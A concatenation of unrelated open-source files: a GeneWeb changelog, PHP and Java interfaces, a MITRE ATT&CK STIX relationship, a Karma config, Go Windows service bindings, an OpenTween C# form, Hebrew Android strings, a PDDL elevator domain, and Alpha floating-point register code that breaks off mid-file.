selected generation". - updateInd.ml: display number = index for first name or surname = "?" * gwu: - fixed bug of behavior: created files even if not option -odir * lexicon.txt: - integrated Lars' updates for swedish version... in fact integrated in "intermediate" version 1.05. GeneWeb Version 1.05 -------------------- * gwc: - added "wrap=virtual" in notes updating. - added 1 generation in missing ancestors (because if a level complete => nothing printed!) - fixed "Chantal.1 N..." did not work because of searching . from the right - generated images have now "content-length" (necessary for Netscape 2) - srcfile.ml: accept now [] in txt files => translation! - p.birth is now of type Adef.codate - suppressed nobr in descend.ml - suppressed <ul></ul> with no <li> in descend.ml - fixed bug: when creating or modifying someone, the test of existing was firstname1 ^ surname1 = firstname2 ^ surname2 instead of firstname1 = firstname2 && surname1 = surname2 - Soza -> Sosa GeneWeb Version 1.04 -------------------- * gwc: - added magic number in gwo files. - in case of option error, does not display usage, just invitation to use the -help option * gwd: - fixed bug in relation: if same person, was not detected. - using new pa_html.cmo - added option "-nolock" not to create lock files; drawback: risk of scratching counter (not grave), or the database, if two users attempt to modify it at the same time; this option were only in Unix version, it is now added in Windows version too. - in research by names, "s" ending words are ignored - when refusing a log (fucking robots!), return status 403 and a small message; logs in "refuse_log". - added option -robot_xcl to test fast attacks. - fixed bug descend "only the generation concerned": persons descending several time were not factorized. * gwd, consang: - in Windows NT/95, locking files never blocks: the action is just refused => * when updating the base, if the base cannot be locked, the update is rejected. * when applying "consang", if the base cannot be locked, "consang" is rejected. * if the counter file cannot be locked, the counter is just not updated. * gwc, gwu: - added "csrc" to factorize "#src" when all children have the same GeneWeb Version 1.03 -------------------- * gwd: - ascend.ml & relation.ml: print up to faster thanks to maxlen added (l=...) - capitalization of all letters with accents is now ok - added "gwd.xcl" to exclude connexions * Makefiles: - add and use of tools/camlp4_comm.sh GeneWeb Version 1.02 -------------------- * gwd - lower threshold for optimized relationship link from 25 to 15. * gwc - in photos => recode underscores (transformed into spaces!). - Can now wait for 4 clients in the queue (listen 4). GeneWeb Version 1.01 -------------------- * gwd - saw that sometimes "accept" fails for other reasons than timeout => no more message now in the trace. GeneWeb Version 1.0 ------------------- GeneWeb Version 1.0 beta.10 --------------------------- GeneWeb Version 1.0 beta.9 -------------------------- * gwd - added possible sleep in env to test memory consummation - changed algorithm of last n births: was o(n^2), now o(n*log n) GeneWeb Version 1.0 beta.8 -------------------------- * gwd - fixed problem of Maertens: "Cannot access to start.txt", although it was a problem of accessing "copyright.txt" - "%f" in language files (used in version.txt) do not generate just "command", but "command?" if not cgi and "command?b=base;" if cgi GeneWeb Version 1.0 beta.7 -------------------------- - changed big num (e.g. for Soza numbers) => no limit - HTTP protocol: always return status 202 OK, even on errors - lang/lexicon.txt: nth generation go up to 125 (fr) - ged2gwb: if surname or first name of someone = "?", may transform it into "x" (to preserve consistency between gwb2gw and gwc) - fixed problem of alphabetic order in displaying by titles - trailer always included even in source files, which must not yet hold </body> at their end. - copyright added at end if file "copyright.txt" not accessible but without link to my site. - file "copyright.txt" changed into "copyr.txt" (I am afraid of problems of long file names in Windows). - fixed bug: problems of <em> and </a> in displaying "ancestors .. up to .."
{ "pile_set_name": "Github" }
<?php /* * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ class Google_Service_Dataflow_ParameterMetadata extends Google_Collection { protected $collection_key = 'regexes'; public $helpText; public $isOptional; public $label; public $name; public $regexes; public function setHelpText($helpText) { $this->helpText = $helpText; } public function getHelpText() { return $this->helpText; } public function setIsOptional($isOptional) { $this->isOptional = $isOptional; } public function getIsOptional() { return $this->isOptional; } public function setLabel($label) { $this->label = $label; } public function getLabel() { return $this->label; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setRegexes($regexes) { $this->regexes = $regexes; } public function getRegexes() { return $this->regexes; } }
{ "pile_set_name": "Github" }
<?php namespace Omeka\File\Store; /** * Interface for a store of files. * * File stores abstract over simple file operations. */ interface StoreInterface { /** * Store a file. * * @param string $source Local path to the file to store * @param string $storagePath Storage path to store at */ public function put($source, $storagePath); /** * Delete a stored file. * * @param string $storagePath Storage path for file */ public function delete($storagePath); /** * Get the URI for a stored file. * * @param string $storagePath Storage path for file */ public function getUri($storagePath); }
{ "pile_set_name": "Github" }
{ "type": "bundle", "id": "bundle--ae2335ed-bc1b-467a-b5d1-f5712dcc6a1a", "spec_version": "2.0", "objects": [ { "id": "relationship--e2dd48c1-c960-4f6f-ad99-5b2aa7463e68", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses Python for scripting to execute additional commands.(Citation: synack 2016 review)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { "source_name": "synack 2016 review", "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" } ], "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", "relationship_type": "uses", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "type": "relationship", "modified": "2020-03-17T19:31:09.741Z", "created": "2018-10-17T00:14:20.652Z" } ] }
{ "pile_set_name": "Github" }
// Karma configuration // Generated on Fri Dec 16 2016 13:09:51 GMT+0000 (UTC) module.exports = function(config) { config.set({ // base path that will be used to resolve all patterns (eg. files, exclude) basePath: '', // frameworks to use // available frameworks: https://npmjs.org/browse/keyword/karma-adapter frameworks: ['mocha', 'chai', 'sinon'], // list of files / patterns to load in the browser files: [ 'dist/debug.js', 'test/*spec.js' ], // list of files to exclude exclude: [ 'src/node.js' ], // preprocess matching files before serving them to the browser // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor preprocessors: { }, // test results reporter to use // possible values: 'dots', 'progress' // available reporters: https://npmjs.org/browse/keyword/karma-reporter reporters: ['progress'], // web server port port: 9876, // enable / disable colors in the output (reporters and logs) colors: true, // level of logging // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG logLevel: config.LOG_INFO, // enable / disable watching file and executing tests whenever any file changes autoWatch: true, // start these browsers // available browser launchers: https://npmjs.org/browse/keyword/karma-launcher browsers: ['PhantomJS'], // Continuous Integration mode // if true, Karma captures browsers, runs the tests and exits singleRun: false, // Concurrency level // how many browser should be started simultaneous concurrency: Infinity }) }
{ "pile_set_name": "Github" }
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build windows package windows const ( SC_MANAGER_CONNECT = 1 SC_MANAGER_CREATE_SERVICE = 2 SC_MANAGER_ENUMERATE_SERVICE = 4 SC_MANAGER_LOCK = 8 SC_MANAGER_QUERY_LOCK_STATUS = 16 SC_MANAGER_MODIFY_BOOT_CONFIG = 32 SC_MANAGER_ALL_ACCESS = 0xf003f ) //sys OpenSCManager(machineName *uint16, databaseName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenSCManagerW const ( SERVICE_KERNEL_DRIVER = 1 SERVICE_FILE_SYSTEM_DRIVER = 2 SERVICE_ADAPTER = 4 SERVICE_RECOGNIZER_DRIVER = 8 SERVICE_WIN32_OWN_PROCESS = 16 SERVICE_WIN32_SHARE_PROCESS = 32 SERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS SERVICE_INTERACTIVE_PROCESS = 256 SERVICE_DRIVER = SERVICE_KERNEL_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_RECOGNIZER_DRIVER SERVICE_TYPE_ALL = SERVICE_WIN32 | SERVICE_ADAPTER | SERVICE_DRIVER | SERVICE_INTERACTIVE_PROCESS SERVICE_BOOT_START = 0 SERVICE_SYSTEM_START = 1 SERVICE_AUTO_START = 2 SERVICE_DEMAND_START = 3 SERVICE_DISABLED = 4 SERVICE_ERROR_IGNORE = 0 SERVICE_ERROR_NORMAL = 1 SERVICE_ERROR_SEVERE = 2 SERVICE_ERROR_CRITICAL = 3 SC_STATUS_PROCESS_INFO = 0 SC_ACTION_NONE = 0 SC_ACTION_RESTART = 1 SC_ACTION_REBOOT = 2 SC_ACTION_RUN_COMMAND = 3 SERVICE_STOPPED = 1 SERVICE_START_PENDING = 2 SERVICE_STOP_PENDING = 3 SERVICE_RUNNING = 4 SERVICE_CONTINUE_PENDING = 5 SERVICE_PAUSE_PENDING = 6 SERVICE_PAUSED = 7 SERVICE_NO_CHANGE = 0xffffffff SERVICE_ACCEPT_STOP = 1 SERVICE_ACCEPT_PAUSE_CONTINUE = 2 SERVICE_ACCEPT_SHUTDOWN = 4 SERVICE_ACCEPT_PARAMCHANGE = 8 SERVICE_ACCEPT_NETBINDCHANGE = 16 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 32 SERVICE_ACCEPT_POWEREVENT = 64 SERVICE_ACCEPT_SESSIONCHANGE = 128 SERVICE_CONTROL_STOP = 1 SERVICE_CONTROL_PAUSE = 2 SERVICE_CONTROL_CONTINUE = 3 SERVICE_CONTROL_INTERROGATE = 4 SERVICE_CONTROL_SHUTDOWN = 5 SERVICE_CONTROL_PARAMCHANGE = 6 SERVICE_CONTROL_NETBINDADD = 7 SERVICE_CONTROL_NETBINDREMOVE = 8 SERVICE_CONTROL_NETBINDENABLE = 9 SERVICE_CONTROL_NETBINDDISABLE = 10 SERVICE_CONTROL_DEVICEEVENT = 11 SERVICE_CONTROL_HARDWAREPROFILECHANGE = 12 SERVICE_CONTROL_POWEREVENT = 13 SERVICE_CONTROL_SESSIONCHANGE = 14 SERVICE_ACTIVE = 1 SERVICE_INACTIVE = 2 SERVICE_STATE_ALL = 3 SERVICE_QUERY_CONFIG = 1 SERVICE_CHANGE_CONFIG = 2 SERVICE_QUERY_STATUS = 4 SERVICE_ENUMERATE_DEPENDENTS = 8 SERVICE_START = 16 SERVICE_STOP = 32 SERVICE_PAUSE_CONTINUE = 64 SERVICE_INTERROGATE = 128 SERVICE_USER_DEFINED_CONTROL = 256 SERVICE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_START | SERVICE_STOP | SERVICE_PAUSE_CONTINUE | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL SERVICE_RUNS_IN_SYSTEM_PROCESS = 1 SERVICE_CONFIG_DESCRIPTION = 1 SERVICE_CONFIG_FAILURE_ACTIONS = 2 SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 3 SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 4 SERVICE_CONFIG_SERVICE_SID_INFO = 5 SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 6 SERVICE_CONFIG_PRESHUTDOWN_INFO = 7 SERVICE_CONFIG_TRIGGER_INFO = 8 SERVICE_CONFIG_PREFERRED_NODE = 9 SERVICE_CONFIG_LAUNCH_PROTECTED = 12 SERVICE_SID_TYPE_NONE = 0 SERVICE_SID_TYPE_UNRESTRICTED = 1 SERVICE_SID_TYPE_RESTRICTED = 2 | SERVICE_SID_TYPE_UNRESTRICTED SC_ENUM_PROCESS_INFO = 0 SERVICE_NOTIFY_STATUS_CHANGE = 2 SERVICE_NOTIFY_STOPPED = 0x00000001 SERVICE_NOTIFY_START_PENDING = 0x00000002 SERVICE_NOTIFY_STOP_PENDING = 0x00000004 SERVICE_NOTIFY_RUNNING = 0x00000008 SERVICE_NOTIFY_CONTINUE_PENDING = 0x00000010 SERVICE_NOTIFY_PAUSE_PENDING = 0x00000020 SERVICE_NOTIFY_PAUSED = 0x00000040 SERVICE_NOTIFY_CREATED = 0x00000080 SERVICE_NOTIFY_DELETED = 0x00000100 SERVICE_NOTIFY_DELETE_PENDING = 0x00000200 ) type SERVICE_STATUS struct { ServiceType uint32 CurrentState uint32 ControlsAccepted uint32 Win32ExitCode uint32 ServiceSpecificExitCode uint32 CheckPoint uint32 WaitHint uint32 } type SERVICE_TABLE_ENTRY struct { ServiceName *uint16 ServiceProc uintptr } type QUERY_SERVICE_CONFIG struct { ServiceType uint32 StartType uint32 ErrorControl uint32 BinaryPathName *uint16 LoadOrderGroup *uint16 TagId uint32 Dependencies *uint16 ServiceStartName *uint16 DisplayName *uint16 } type SERVICE_DESCRIPTION struct { Description *uint16 } type SERVICE_DELAYED_AUTO_START_INFO struct { IsDelayedAutoStartUp uint32 } type SERVICE_STATUS_PROCESS struct { ServiceType uint32 CurrentState uint32 ControlsAccepted uint32 Win32ExitCode uint32 ServiceSpecificExitCode uint32 CheckPoint uint32 WaitHint uint32 ProcessId uint32 ServiceFlags uint32 } type ENUM_SERVICE_STATUS_PROCESS struct { ServiceName *uint16 DisplayName *uint16 ServiceStatusProcess SERVICE_STATUS_PROCESS } type SERVICE_NOTIFY struct { Version uint32 NotifyCallback uintptr Context uintptr NotificationStatus uint32 ServiceStatus SERVICE_STATUS_PROCESS NotificationTriggered uint32 ServiceNames *uint16 } type SERVICE_FAILURE_ACTIONS struct { ResetPeriod uint32 RebootMsg *uint16 Command *uint16 ActionsCount uint32 Actions *SC_ACTION } type SC_ACTION struct { Type uint32 Delay uint32 } type QUERY_SERVICE_LOCK_STATUS struct { IsLocked uint32 LockOwner *uint16 LockDuration uint32 } //sys CloseServiceHandle(handle Handle) (err error) = advapi32.CloseServiceHandle //sys CreateService(mgr Handle, serviceName *uint16, displayName *uint16, access uint32, srvType uint32, startType uint32, errCtl uint32, pathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16) (handle Handle, err error) [failretval==0] = advapi32.CreateServiceW //sys OpenService(mgr Handle, serviceName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenServiceW //sys DeleteService(service Handle) (err error) = advapi32.DeleteService //sys StartService(service Handle, numArgs uint32, argVectors **uint16) (err error) = advapi32.StartServiceW //sys QueryServiceStatus(service Handle, status *SERVICE_STATUS) (err error) = advapi32.QueryServiceStatus //sys QueryServiceLockStatus(mgr Handle, lockStatus *QUERY_SERVICE_LOCK_STATUS, bufSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceLockStatusW //sys ControlService(service Handle, control uint32, status *SERVICE_STATUS) (err error) = advapi32.ControlService //sys StartServiceCtrlDispatcher(serviceTable *SERVICE_TABLE_ENTRY) (err error) = advapi32.StartServiceCtrlDispatcherW //sys SetServiceStatus(service Handle, serviceStatus *SERVICE_STATUS) (err error) = advapi32.SetServiceStatus //sys ChangeServiceConfig(service Handle, serviceType uint32, startType uint32, errorControl uint32, binaryPathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16, displayName *uint16) (err error) = advapi32.ChangeServiceConfigW //sys QueryServiceConfig(service Handle, serviceConfig *QUERY_SERVICE_CONFIG, bufSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfigW //sys ChangeServiceConfig2(service Handle, infoLevel uint32, info *byte) (err error) = advapi32.ChangeServiceConfig2W //sys QueryServiceConfig2(service Handle, infoLevel uint32, buff *byte, buffSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfig2W //sys EnumServicesStatusEx(mgr Handle, infoLevel uint32, serviceType uint32, serviceState uint32, services *byte, bufSize uint32, bytesNeeded *uint32, servicesReturned *uint32, resumeHandle *uint32, groupName *uint16) (err error) = advapi32.EnumServicesStatusExW //sys QueryServiceStatusEx(service Handle, infoLevel uint32, buff *byte, buffSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceStatusEx //sys NotifyServiceStatusChange(service Handle, notifyMask uint32, notifier *SERVICE_NOTIFY) (ret error) = advapi32.NotifyServiceStatusChangeW
{ "pile_set_name": "Github" }
/** * */ package logbook.scripting; /** * テーブルのカラム拡張用スクリプトが実装すべきインターフェースのベースクラス * @author Nekopanda */ public interface TableScriptListener { /** * 拡張するカラムに対応するヘッダーを返します * @return 拡張するカラムに対応するヘッダー */ public String[] header(); }
{ "pile_set_name": "Github" }
// OpenTween - Client of Twitter // Copyright (c) 2007-2011 kiri_feather (@kiri_feather) <[email protected]> // (c) 2008-2011 Moz (@syo68k) // (c) 2008-2011 takeshik (@takeshik) <http://www.takeshik.org/> // (c) 2010-2011 anis774 (@anis774) <http://d.hatena.ne.jp/anis774/> // (c) 2010-2011 fantasticswallow (@f_swallow) <http://twitter.com/f_swallow> // (c) 2011 kim_upsilon (@kim_upsilon) <https://upsilo.net/~upsilon/> // All rights reserved. // // This file is part of OpenTween. // // This program is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the Free // Software Foundation; either version 3 of the License, or (at your option) // any later version. // // This program is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY // or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License // for more details. // // You should have received a copy of the GNU General Public License along // with this program. If not, see <http://www.gnu.org/licenses/>, or write to // the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, // Boston, MA 02110-1301, USA. #nullable enable using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using OpenTween.Api; using OpenTween.Connection; using OpenTween.Api.DataModel; namespace OpenTween { public partial class MyLists : OTBaseForm { private readonly TwitterApi twitterApi = null!; private readonly string contextScreenName = null!; /// <summary>自分が所有しているリスト</summary> private ListElement[] ownedLists = Array.Empty<ListElement>(); /// <summary>操作対象のユーザーが追加されているリストのID</summary> private long[] addedListIds = Array.Empty<long>(); public MyLists() => this.InitializeComponent(); public MyLists(string screenName, TwitterApi twitterApi) { this.InitializeComponent(); this.twitterApi = twitterApi; this.contextScreenName = screenName; this.Text = screenName + Properties.Resources.MyLists1; } private async Task RefreshListBox() { using (var dialog = new WaitingDialog(Properties.Resources.ListsGetting)) { var cancellationToken = dialog.EnableCancellation(); var task = Task.Run(() => this.FetchMembershipListIds()); await dialog.WaitForAsync(this, task); cancellationToken.ThrowIfCancellationRequested(); } using (ControlTransaction.Update(this.ListsCheckedListBox)) { this.ListsCheckedListBox.Items.Clear(); foreach (var list in this.ownedLists) { var added = this.addedListIds.Contains(list.Id); this.ListsCheckedListBox.Items.Add(list, isChecked: added); } } } private async Task FetchMembershipListIds() { var ownedListData = await TwitterLists.GetAllItemsAsync(x => this.twitterApi.ListsOwnerships(this.twitterApi.CurrentScreenName, cursor: x, count: 1000)) .ConfigureAwait(false); this.ownedLists = ownedListData.Select(x => new ListElement(x, null!)).ToArray(); var listsUserAddedTo = await TwitterLists.GetAllItemsAsync(x => this.twitterApi.ListsMemberships(this.contextScreenName, cursor: x, count: 1000, filterToOwnedLists: true)) .ConfigureAwait(false); this.addedListIds = listsUserAddedTo.Select(x => x.Id).ToArray(); } private async Task AddToList(ListElement list) { try { await this.twitterApi.ListsMembersCreate(list.Id, this.contextScreenName) .IgnoreResponse(); var index = this.ListsCheckedListBox.Items.IndexOf(list); this.ListsCheckedListBox.SetItemCheckState(index, CheckState.Checked); } catch (WebApiException ex) { MessageBox.Show(string.Format(Properties.Resources.ListManageOKButton2, ex.Message)); } } private async Task RemoveFromList(ListElement list) { try { await this.twitterApi.ListsMembersDestroy(list.Id, this.contextScreenName) .IgnoreResponse(); var index = this.ListsCheckedListBox.Items.IndexOf(list); this.ListsCheckedListBox.SetItemCheckState(index, CheckState.Unchecked); } catch (WebApiException ex) { MessageBox.Show(string.Format(Properties.Resources.ListManageOKButton2, ex.Message)); } } private async void MyLists_Load(object sender, EventArgs e) { using (ControlTransaction.Disabled(this)) { try { await this.RefreshListBox(); } catch (OperationCanceledException) { this.DialogResult = DialogResult.Cancel; } catch (WebApiException ex) { MessageBox.Show($"Failed to get lists. ({ex.Message})"); this.DialogResult = DialogResult.Abort; } } } private async void ListsCheckedListBox_ItemCheck(object sender, ItemCheckEventArgs e) { // 他のイベント等で操作中の場合は無視する if (!this.Enabled) return; using (ControlTransaction.Disabled(this)) { var list = (ListElement)this.ListsCheckedListBox.Items[e.Index]; if (e.CurrentValue == CheckState.Unchecked) await this.AddToList(list); else await this.RemoveFromList(list); } } private void ListsCheckedListBox_MouseDown(object sender, MouseEventArgs e) { switch (e.Button) { case MouseButtons.Left: //項目が無い部分をクリックしても、選択されている項目のチェック状態が変更されてしまうので、その対策 for (var index = 0; index < this.ListsCheckedListBox.Items.Count; index++) { if (this.ListsCheckedListBox.GetItemRectangle(index).Contains(e.Location)) return; } this.ListsCheckedListBox.SelectedItem = null; break; case MouseButtons.Right: //コンテキストメニューの項目実行時にSelectedItemプロパティを利用出来るように for (var index = 0; index < this.ListsCheckedListBox.Items.Count; index++) { if (this.ListsCheckedListBox.GetItemRectangle(index).Contains(e.Location)) { this.ListsCheckedListBox.SetSelected(index, true); return; } } this.ListsCheckedListBox.SelectedItem = null; break; } } private void ContextMenuStrip1_Opening(object sender, CancelEventArgs e) => e.Cancel = this.ListsCheckedListBox.SelectedItem == null; private async void MenuItemAdd_Click(object sender, EventArgs e) { using (ControlTransaction.Disabled(this)) { await this.AddToList((ListElement)this.ListsCheckedListBox.SelectedItem); } } private async void MenuItemDelete_Click(object sender, EventArgs e) { using (ControlTransaction.Disabled(this)) { await this.RemoveFromList((ListElement)this.ListsCheckedListBox.SelectedItem); } } private async void MenuItemReload_Click(object sender, EventArgs e) { using (ControlTransaction.Disabled(this)) { try { await this.RefreshListBox(); } catch (OperationCanceledException) { } catch (WebApiException ex) { MessageBox.Show($"Failed to get lists. ({ex.Message})"); } } } private async void ListRefreshButton_Click(object sender, EventArgs e) { using (ControlTransaction.Disabled(this)) { try { await this.RefreshListBox(); } catch (OperationCanceledException) { } catch (WebApiException ex) { MessageBox.Show($"Failed to get lists. ({ex.Message})"); } } } private void CloseButton_Click(object sender, EventArgs e) => this.Close(); } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources> <string msgid="4600421777120114993" name="abc_action_bar_home_description">"נווט לדף הבית"</string> <string msgid="1397052879051804371" name="abc_action_bar_home_description_format">"‏%1$s‏, %2$s"</string> <string msgid="6623331958280229229" name="abc_action_bar_home_subtitle_description_format">"‏%1$s‏, %2$s‏, %3$s"</string> <string msgid="1594238315039666878" name="abc_action_bar_up_description">"נווט למעלה"</string> <string msgid="3588849162933574182" name="abc_action_menu_overflow_description">"עוד אפשרויות"</string> <string msgid="4076576682505996667" name="abc_action_mode_done">"בוצע"</string> <string msgid="7468859129482906941" name="abc_activity_chooser_view_see_all">"ראה הכל"</string> <string msgid="2031811694353399454" name="abc_activitychooserview_choose_application">"בחר אפליקציה"</string> <string msgid="121134116657445385" name="abc_capital_off">"כבוי"</string> <string msgid="3405795526292276155" name="abc_capital_on">"פועל"</string> <string msgid="7723749260725869598" name="abc_search_hint">"חפש…"</string> <string msgid="3691816814315814921" name="abc_searchview_description_clear">"מחק שאילתה"</string> <string msgid="2550479030709304392" name="abc_searchview_description_query">"שאילתת חיפוש"</string> <string msgid="8264924765203268293" name="abc_searchview_description_search">"חפש"</string> <string msgid="8928215447528550784" name="abc_searchview_description_submit">"שלח שאילתה"</string> <string msgid="893419373245838918" name="abc_searchview_description_voice">"חיפוש קולי"</string> <string msgid="3421042268587513524" name="abc_shareactionprovider_share_with">"שתף עם"</string> <string msgid="7165123711973476752" name="abc_shareactionprovider_share_with_application">"‏שתף עם %s"</string> <string msgid="1603543279005712093" name="abc_toolbar_collapse_description">"כווץ"</string> <string msgid="146198913615257606" name="search_menu_title">"חפש"</string> <string msgid="2869576371154716097" name="status_bar_notification_info_overflow">"‎999+‎"</string> </resources>
{ "pile_set_name": "Github" }
(define (domain elevators-netbenefit-numeric) (:requirements :typing :numeric-fluents :goal-utilities) (:types elevator - object slow-elevator fast-elevator - elevator passenger - object floor - object ) (:predicates (passenger-at ?person - passenger ?floor - floor) (boarded ?person - passenger ?lift - elevator) (lift-at ?lift - elevator ?floor - floor) (reachable-floor ?lift - elevator ?floor - floor) (above ?floor1 - floor ?floor2 - floor) ) (:functions (total-cost) - number (travel-slow ?f1 - floor ?f2 - floor) - number (travel-fast ?f1 - floor ?f2 - floor) - number (passengers ?lift - elevator) - number (capacity ?lift - elevator) - number ) (:action move-up-slow :parameters (?lift - slow-elevator ?f1 - floor ?f2 - floor ) :precondition (and (lift-at ?lift ?f1) (above ?f1 ?f2 ) (reachable-floor ?lift ?f2) ) :effect (and (lift-at ?lift ?f2) (not (lift-at ?lift ?f1)) (increase (total-cost) (travel-slow ?f1 ?f2)))) (:action move-down-slow :parameters (?lift - slow-elevator ?f1 - floor ?f2 - floor ) :precondition (and (lift-at ?lift ?f1) (above ?f2 ?f1 ) (reachable-floor ?lift ?f2) ) :effect (and (lift-at ?lift ?f2) (not (lift-at ?lift ?f1)) (increase (total-cost) (travel-slow ?f2 ?f1)))) (:action move-up-fast :parameters (?lift - fast-elevator ?f1 - floor ?f2 - floor ) :precondition (and (lift-at ?lift ?f1) (above ?f1 ?f2 ) (reachable-floor ?lift ?f2) ) :effect (and (lift-at ?lift ?f2) (not (lift-at ?lift ?f1)) (increase (total-cost) (travel-fast ?f1 ?f2)))) (:action move-down-fast :parameters (?lift - fast-elevator ?f1 - floor ?f2 - floor ) :precondition (and (lift-at ?lift ?f1) (above ?f2 ?f1 ) (reachable-floor ?lift ?f2) ) :effect (and (lift-at ?lift ?f2) (not (lift-at ?lift ?f1)) (increase (total-cost) (travel-fast ?f2 ?f1)))) (:action board :parameters (?p - passenger ?lift - elevator ?f - floor) :precondition (and (lift-at ?lift ?f) (passenger-at ?p ?f) (< (passengers ?lift)(capacity ?lift)) ) :effect (and (not (passenger-at ?p ?f)) (boarded ?p ?lift) (increase (passengers ?lift) 1) )) (:action leave :parameters (?p - passenger ?lift - elevator ?f - floor) :precondition (and (lift-at ?lift ?f) (boarded ?p ?lift) ) :effect (and (passenger-at ?p ?f) (not (boarded ?p ?lift)) (decrease (passengers ?lift) 1) )) )
{ "pile_set_name": "Github" }
/* * arch/alpha/lib/fpreg.c * * (C) Copyright 1998 Linus Torvalds */ #if defined(CONFIG_ALPHA_EV6) || defined(CONFIG_ALPHA_EV67) #define STT(reg,val) asm volatile ("ftoit $f"#reg",%0" : "=r"(val)); #else #define STT(reg,val) asm volatile ("stt $f"#reg",%0" : "=m"(val)); #endif unsigned long alpha_read_fp_reg (unsigned long reg) { unsigned long val; switch (reg) { case 0: STT( 0, val); break; case 1: STT( 1, val); break; case 2: STT( 2, val); break; case 3: STT( 3, val); break; case 4: STT( 4, val); break; case 5: STT( 5, val); break; case 6: STT( 6, val); break; case 7: STT( 7, val); break; case 8: STT( 8, val); break; case 9: STT( 9, val); break; case 10: STT(10, val); break; case 11: STT(11, val); break; case 12: STT(12, val); break; case 13: STT(13, val); break; case 14: STT(14, val); break; case 15: STT(15, val); break; case 16: STT(16, val); break; case 17: STT(17, val); break; case 18: STT(18, val); break; case 19: STT(19, val); break; case 20: STT(20, val); break; case 21: STT(21, val); break; case 22: STT(22, val); break; case 23: STT(23, val); break; case 24: STT(24, val); break; case 25: STT(25, val); break; case 26: STT(26, val); break; case 27: STT(27, val); break; case 28: STT(28, val); break; case 29: STT(29, val); break; case 30: STT(30, val); break; case 31: STT(31, val); break; default: return 0; } return val; } #if defined(CONFIG_ALPHA_EV6) || defined(CONFIG_ALPHA_EV67) #define LDT(reg,val) asm volatile ("itoft %0,$f"#reg : : "r"(val)); #else #define LDT(reg,val) asm volatile ("ldt $f"#reg",%0" : : "m"(val)); #endif void alpha_write_fp_reg (unsigned long reg, unsigned long val) { switch (reg) { case 0: LDT( 0, val); break; case 1: LDT( 1, val); break; case 2: LDT( 2, val); break; case 3: LDT( 3, val); break; case 4: LDT( 4, val); break; case 5: LDT( 5, val); break; case 6: LDT( 6, val); break; case 7: LDT( 7, val); break; case 8: LDT( 8, val); break; case 9: LDT( 9, val); break; case 10: LDT(10, val); break; case 11: LDT(11, val); break; case 12: LDT(12, val); break; case 13: LDT(13, val); break; case 14: LDT(14, val); break; case 15: LDT(15, val); break; case 16: LDT(16, val); break; case 17: LDT(17, val); break; case 18: LDT(18, val); break; case 19: LDT(19, val); break; case 20: LDT(20, val); break; case 21: LDT(21, val); break; case 22: LDT(22, val); break; case 23: LDT(23, val); break; case 24: LDT(24, val); break; case 25: LDT(25, val); break; case 26: LDT(26, val); break; case 27: LDT(27, val); break; case 28: LDT(28, val); break; case 29: LDT(29, val); break; case 30: LDT(30, val); break; case 31: LDT(31, val); break; } } #if defined(CONFIG_ALPHA_EV6) || defined(CONFIG_ALPHA_EV67) #define STS(reg,val) asm volatile ("ftois $f"#reg",%0" : "=r"(val)); #else #define STS(reg,val) asm volatile ("sts $f"#reg",%0" : "=m"(val)); #endif unsigned long alpha_read_fp_reg_s (unsigned long reg) { unsigned long val; switch (reg) { case 0: STS( 0, val); break; case 1: STS( 1, val); break; case 2: STS( 2, val); break; case 3: STS( 3, val); break; case 4: STS( 4, val); break; case 5: STS( 5, val); break; case 6: STS( 6, val); break; case 7: STS( 7, val); break; case 8: STS( 8, val); break; case 9: STS( 9, val); break; case 10: STS(10, val); break; case 11: STS(11, val); break; case 12: STS(12, val); break; case 13: STS(13, val); break; case 14: STS(14, val); break; case 15: STS(15, val); break; case 16: STS(16, val); break; case 17: STS(17, val); break; case 18: STS(18, 